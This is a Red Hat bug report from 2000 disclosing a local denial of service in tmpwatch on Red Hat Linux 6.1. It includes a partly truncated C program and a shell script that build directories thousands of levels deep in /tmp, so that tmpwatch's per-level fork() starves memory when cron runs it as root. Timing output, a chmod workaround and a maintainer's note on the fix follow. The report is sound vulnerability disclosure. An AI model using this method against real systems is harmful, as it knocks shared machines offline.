Bug 17286 - tmpwatch run from cron allows locale DoS.
Summary: tmpwatch run from cron allows locale DoS.
Alias: None
Product: Red Hat Linux
Classification: Retired
Component: tmpwatch   
(Show other bugs)
Version: 6.1
Hardware: i386
OS: Linux
Target Milestone: ---
Assignee: Preston Brown
QA Contact:
Depends On:
TreeView+ depends on / blocked
Reported: 2000-09-06 15:58 UTC by Need Real Name
Modified: 2008-05-01 15:37 UTC (History)
0 users

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Last Closed: 2000-09-07 11:12:17 UTC
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: ---

Attachments (Terms of Use)

Description Need Real Name 2000-09-06 15:58:17 UTC
[root@continuity /root]# cat tmpwatch.vuln.info
Local DoS in /usr/sbin/tmpwatch.  root fork()bombs himself.

            ** *** **** ***** ***** **** *** **

                    tmpwatch is a bad boy

            ** *** **** ***** ***** **** *** **

                      ****** ******
                     **  Summary  **
                      ****** ******
Local people can stop things working, and force you to reboot.
                  **(  0  )*(  0  )**
                    *******:*******        <- sorry. stoned ;] 
                     **** *** ****
                      **  * *  ** 
                      *   * *   *
                     Longer summary
                     '  ` `  '    `
 Any user with write access to /tmp or /var/tmp can cause redhat 6.1 (and
others runnng tmpwatch from cron) to stop responding, and possibly requre
a hard reboot.
 tmpwatch is a utility for automatically removing files that have not been
accessed for a specifiable period. This program runs as root, an although
there are numerous protections against it being used to delete files it
shouldn't, it does something very silly.

 It fork()s new copies of itself off. 
 1 new process per level deep it goes.

 It goes down a level, and is now on the 1st level.
 It fork()s a new copy of itself, which waits 
 until its new process of itself goes down a level 
 and fork()s a new copy of itself, which waits
 until its new process of itself goes down a level 
 and fork()s a new copy of itself, which waits
 until its new process of itself goes down a level 
 and fork()s a new copy of itself, which waits
 and finds no more works, so it pops back the the
 previous copy of itself, and each one in turn then
 follows suit, and pops back to the previous copy 
 of itself, and pops back to the previous copy of 
 itself, and pops back to the previous copy of itself,
 and pops back the final return result, which is 
 returned from the 1st level, to the shell, as the 
 exit() value.

 Not too bad for up to maybe 100 directory levels deep.
 Now imagine that scaled up, say 60 times.

*       ***************       ***************       *
** *** **   Method    ** *** **   Method    ** *** **
*       ***************       ***************       *

Make a directory 6000 deep in /tmp

At just after 4.00am the system will die.

# grep daily /etc/crontab
02 4 * * * root run-parts /etc/cron.daily
# cat /etc/cron.daily/tmpwatch 
/usr/sbin/tmpwatch 240 /tmp /var/tmp
/usr/sbin/tmpwatch -f 240 /var/catman/{X11R6/cat?,cat?,local/cat?}
# sleep --all-night 
sleep: unrecognized option `--all-night'
# su zen-parse
$ time xchat
0.73user 0.09system 37:50:06.12elapsed 13%CPU (0avgtext+0avgdata
0inputs+0outputs (51084major+137298minor)pagefaults 0swaps

or mebe not.

if you don't believe me, try this, as a normal user.

* Demonstration *

---START---cut---:a.c (mode 644)
// make lots of directories.
// ./a <#of-dirs>
// ./a with no arguments to delete dirs.
main(int argc,char *argv[])
 int c=0,d=0;
 if (argc!=2) 
  printf("c=%d  removing\n",c);
  while(!rmdir("./A")) {chdir("..");c--;}
  if(c)printf("erm. bad thing.\n");
  printf("c=%d  making.\n",c);

# ./testscript

(code follows)

---START---cut---:testscript (mode 755)
# clear the previous stuff.
rm ./timer.results
touch timer.results
# create a 1 deep
./a 1 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 100 deep
./a 100 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 200 deep
./a 200 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 300 deep
./a 300 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 400 deep
./a 400 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 500 deep
./a 500 >>timer.results
time tmpwatch 240 . 2>>timer.results
# create a 600 deep
./a 600 >>timer.results
time tmpwatch 240 . 2>>timer.results
#tidy up.
./a >>timer.results


If you don't want to test it manually, here you will find the results on
the tests on my machine. Who says u need an Athlon with cable or DSL.  I
say "Well, it would be nice. Real nice." I also think this program would
probably die faster and more spectacularly on a fast machine with a huge
amount of memory and swap space. Oh yeah. Save anything important. And you
have to run it as root. (I think. Should probably thought of that. I'll
remember it for next time.) The crontab is an effective way of getting it
run as root. Which it wants to do anyway. At about 4am everyday.

--START---cut---:timer.results (mode 644)
c=1  making.
0.00user 0.01system 0:00.00elapsed 125%CPU (0avgtext+0avgdata
0inputs+0outputs (96major+58minor)pagefaults 0swaps
c=100  making.
0.01user 0.19system 0:00.19elapsed 100%CPU (0avgtext+0avgdata
0inputs+0outputs (96major+1797minor)pagefaults 0swaps
c=200  making.
0.07user 0.40system 0:00.49elapsed 94%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+3554minor)pagefaults 0swaps
c=300  making.
0.10user 0.66system 0:00.76elapsed 99%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (96major+5308minor)pagefaults 0swaps
c=400  making.
0.13user 1.33system 0:11.80elapsed 12%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (11766major+9445minor)pagefaults 1263swaps
c=500  making.
0.15user 2.11system 0:22.38elapsed 10%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (14104major+13238minor)pagefaults 2699swaps
c=600  making.
0.21user 2.81system 0:32.61elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (26066major+17781minor)pagefaults 4109swaps
c=600  removing
c=600  making.
0.11user 2.88system 0:36.14elapsed 8%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (25741major+17567minor)pagefaults 4009swaps
c=700  making.
0.20user 4.24system 0:45.95elapsed 9%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (35562major+22180minor)pagefaults 5542swaps
c=800  making.
Command terminated by signal 2
0.00user 0.00system 6:01.87elapsed 0%CPU (0avgtext+0avgdata 0maxresident)k
0inputs+0outputs (102major+18minor)pagefaults 10swaps

(System is Cyrix-6x86 @ 187 MHz, 32M physical ram, 64M swap.)

(^C was pressed after about a minute. Several system programs died due to
memory starvation. It took a quite a while afterwards before the console
regained any usabilty. When i tried to run startx, it refused to start.
xfs had died. everything looked odd. slow motion. i think it was because
of the loadavg)

# uptime
  9:00pm  up  2:14,  2 users,  load average: 202.28, 363.68, 186.46

That was a couple of minutes after running the test script.

              * something needs to be fixed. *
               *   and i think its the      *
                *   tmpwatch program, and  *
                 *   until it is here is  *
                  *    a temporary fix   *

# chmod 400 /etc/cron.daily/tmpwatch
# chmod 400 /usr/sbin/tmpwatch

oh yeah.

slocate also segfaults on that directory.
$ ./a 
to delete all the ./A/A/A/A/..... directories you own.

i hope. 


Comment 1 Need Real Name 2000-09-07 11:12:14 UTC
erm... local not locale.

Comment 2 Preston Brown 2000-10-06 15:02:17 UTC
a forthcoming errata release of tmpwatch uses recursion rather than fork(),
eliminating the DoS.

Note You need to log in before you can comment on or make changes to this bug.